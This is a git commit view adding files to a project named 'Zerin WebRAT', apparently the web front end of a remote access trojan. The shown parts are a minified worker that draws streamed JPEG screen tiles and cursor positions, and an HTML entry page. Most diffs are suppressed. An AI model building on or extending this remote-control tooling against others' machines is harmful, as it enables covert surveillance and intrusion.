initial commit

This commit is contained in:
i2p
2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
+440
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
+448
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
+508
View File
File diff suppressed because one or more lines are too long
+451
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
+430
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
+422
View File
File diff suppressed because one or more lines are too long
+440
View File
File diff suppressed because one or more lines are too long
+422
View File
File diff suppressed because one or more lines are too long
+508
View File
File diff suppressed because one or more lines are too long
+508
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
+1
View File
@@ -0,0 +1 @@
(function(){"use strict";let n=null,o=null,l=0,c=0;function r(i,t){(!n||l!==i||c!==t)&&(n=new OffscreenCanvas(i,t),o=n.getContext("2d"),l=i,c=t)}self.onmessage=async i=>{const t=i.data;if(t.type==="init"){r(t.width,t.height);return}if(t.type==="tiles"){const{tiles:f,solids:b,width:m,height:p,cursorX:d,cursorY:u,tileSize:s}=t;if(r(m,p),!o)return;for(const a of b)o.fillStyle=`rgb(${a.r},${a.g},${a.b})`,o.fillRect(a.col*s,a.row*s,s,s);if(f.length>0){const a=await Promise.all(f.map(async e=>{const w=new Blob([e.data],{type:"image/jpeg"});return{bitmap:await createImageBitmap(w),col:e.col,row:e.row}}));for(const e of a)o.drawImage(e.bitmap,e.col*s,e.row*s),e.bitmap.close()}const g=n.transferToImageBitmap();self.postMessage({type:"frame",bitmap:g,width:m,height:p,cursorX:d,cursorY:u},[g])}}})();
Vendored Executable
+25
View File
@@ -0,0 +1,25 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/png" href="/zerin-logo.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Zerin WebRAT</title>
<!-- Replaced external Google Fonts CDN with system font stack to avoid
third-party requests that leak user IP/timing to Google servers.
The font-family declarations in Tailwind config should use these system fonts. -->
<style>
/* System font fallbacks for the previously loaded Google Fonts */
:root {
--font-display: 'Segoe UI', system-ui, -apple-system, BlinkMacSystemFont, 'Helvetica Neue', Arial, sans-serif;
--font-sans: 'Segoe UI', system-ui, -apple-system, BlinkMacSystemFont, 'Helvetica Neue', Arial, sans-serif;
--font-mono: 'Cascadia Code', 'Consolas', 'SF Mono', 'Liberation Mono', 'Menlo', monospace;
}
</style>
<script type="module" crossorigin src="/assets/index-RE_RleHj.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-CIWNzjym.css">
</head>
<body>
<div id="root"></div>
</body>
</html>
Vendored Executable
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB